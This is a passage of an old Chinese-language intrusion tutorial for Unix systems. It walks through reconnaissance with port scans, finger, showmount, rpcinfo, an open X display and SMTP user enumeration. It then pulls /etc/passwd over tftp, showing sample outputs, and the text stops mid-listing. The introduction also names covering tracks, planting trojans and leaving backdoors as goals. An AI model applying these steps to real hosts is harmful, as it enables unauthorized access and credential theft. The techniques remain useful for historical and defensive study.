入侵一个系统有很多步骤,阶段性很强的“工作”,其最终的目标是获得超级用户权限——对目标系统的绝对控制。从对该系统一无所知开始,我们利用其提供的各种网络服务收集关于它的信息,这些信息暴露出系统的安全脆弱性或潜在入口;然后我们利用这些网络服务固有的或配置上的漏洞,试图从目标系统上取回重要信息(如口令文件)、或在上面执行命令,通过这些办法,我们有可能在该系统上获得一个普通的shell接口;接下来,我们再利用目标系统本地的操作系统或应用程序的漏洞试图提升我们在该系统上的权限,攫取超级用户控制;适当的善后工作包括隐藏身份、消除痕迹、安置特洛伊木马和留后门。
(零)、确定目标
1) 目标明确--那就不用废话了
2) 抓网:从一个有很多链接的WWW站点开始,顺藤摸瓜;
3) 区段搜索:如用samsa开发的mping(multi-ping);
4) 到网上去找站点列表;
(一)、 白手起家(情报搜集)
从一无所知开始:
1) tcp_scan,udp_scan
# tcp_scan numen 1-65535
7:echo:
7:echo:
9:discard:
13:daytime:
19:chargen:
21:ftp:
23:telnet:
25:smtp:
37:time:
79:finger
111:sunrpc:
512:exec:
513:login:
514:shell:
515:printer:
540:uucp:
2049:nfsd:
4045:lockd:
6000:xwindow:
6112:dtspc:
7100:fs:
…
# udp_scan numen 1-65535
7:echo:
7:echo:
9:discard:
13:daytime:
19:chargen:
37:time:
42:name:
69:tftp:
111:sunrpc:
161:UNKNOWN:
177:UNKNOWN:
...
看什么:
1.1)可疑服务: finger,sunrpc,nfs,nis(yp),tftp,etc..
1.2)系统入口: ftp,telnet,http, shell(rsh), login (rlogin),smtp,exec(rexec)
(samsa: [/etc/inetd.conf]最要紧!!)
2) finger
# finger root@numen
[numen]
Login Name TTY Idle When Where
root Super-User console 1 Fri 10:03 :0
root Super-User pts/6 6 Fri 12:56 192.168.0.116
root Super-User pts/7 Fri 10:11 zw
root Super-User pts/8 1 Fri 10:04 :0.0
root Super-User pts/1 4 Fri 10:08 :0.0
root Super-User pts/11 3:16 Fri 09:53 192.168.0.114
root Super-User pts/10 Fri 13:08 192.168.0.116
root Super-User pts/12 1 Fri 10:13 :0.0
(samsa: root 这么多,不容易被发现哦~)
# finger ylx@numen
[victim.com]
Login Name TTY Idle When Where
ylx ??? pts/9 192.168.0.79
# finger @numen
[numen]
Login Name TTY Idle When Where
root Super-User console 7 Fri 10:03 :0
root Super-User pts/6 11 Fri 12:56 192.168.0.116
root Super-User pts/7 Fri 10:11 zw
root Super-User pts/11 3:21 Fri 09:53 192.16 numen:
root Super-User pts/11 3:21 Fri 09:53 192.16 numen:
ts/10 May 7 13:08 18 (192.168.0.116)
(samsa:如果没有finger,就只好有rusers乐)
4) showmount
# showmount -ae numen
export table of numen:
/space/users/lpf sun9
samsa:/space/users/lpf
sun9:/space/users/lpf
(samsa:该机提供了那些共享目录,谁共享了这些目录[/etc/dfs/dfstab])
5) rpcinfo
# rpcinfo -p numen
program vers proto port service
100000 4 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100024 1 udp 32772 status
100024 1 tcp 32771 status
100021 4 udp 4045 nlockmgr
100001 2 udp 32778 rstatd
100083 1 tcp 32773 ttdbserver
100235 1 tcp 32775
100021 2 tcp 4045 nlockmgr
100005 1 udp 32781 mountd
100005 1 tcp 32776 mountd
100003 2 udp 2049 nfs
100011 1 udp 32822 rquotad
100002 2 udp 32823 rusersd
100002 3 tcp 33180 rusersd
100012 1 udp 32824 sprayd
100008 1 udp 32825 walld
100068 2 udp 32829 cmsd
(samsa:[/etc/rpc]可惜没开rexd,据说开了rexd就跟没password一样哦!
不过有rstat,rusers,mount和nfs:-)
6) x-windows
# DISPLAY=victim.com:0.0
# export DISPLAY
# export DISPLAY
# xhost
access control disabled, clients can connect from any host
(samsa:great!!!)
# xwininfo -root
xwininfo: Window id: 0x25 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1152
Height: 900
Depth: 24
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x21 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1152x900+0+0
(samsa:can''t be greater!!!!!!!!!!!)
7) smtp
# telnet numen smtp
Trying 192.168.0.198...
Connected to numen.
Escape character is ''^]''.
220 numen.ac.cn ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800
(CST)
expn root
250 Super-User <">root@numen.ac.cn>
vrfy ylx
250 <">ylx@numen.ac.cn>
expn ftp
expn ftp
250 <">ftp@numen.ac.cn>
(samsa:ftp说明有匿名ftp)
(samsa:如果没有finger和rusers,只好用这种方法一个个猜用户名乐)
debug
500 Command unrecognized: "debug"
wiz
500 Command unrecognized: "wiz"
(samsa:这些著名的漏洞现在哪儿还会有呢?:-(()
8) 使用 scanner(***)
# satan victim.com
...
(samsa:satan 是图形界面的,就没法陈列了!!
列举出 victim.com 的系统类型(e.g.SunOS 5.7),提供的服务(e.g.WWW)和存在的脆弱性)
二、隔山打牛(远程攻击)
1) 隔空取物:取得passwd
1.1) tftp
# tftp numen
tftp> get /etc/passwd
Error code 2: Access violation
tftp> get /etc/shadow
Error code 2: Access violation
tftp> quit
(samsa:一无所获,但是...)
# tftp sun8
tftp> get /etc/passwd
Received 965 bytes in 0.1 seconds
tftp> get /etc/shadow
Error code 2: Access violation
(samsa:成功了!!!;-)
# cat passwd
root:x:0:0:Super-User:/:/bin/ksh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:/bin/sh
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:
smtp:x:0:0:Mail Daemon User:/:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/ne
文章转载地址:http://www.cnpaf.net/Class/hack/06101110491521643942.html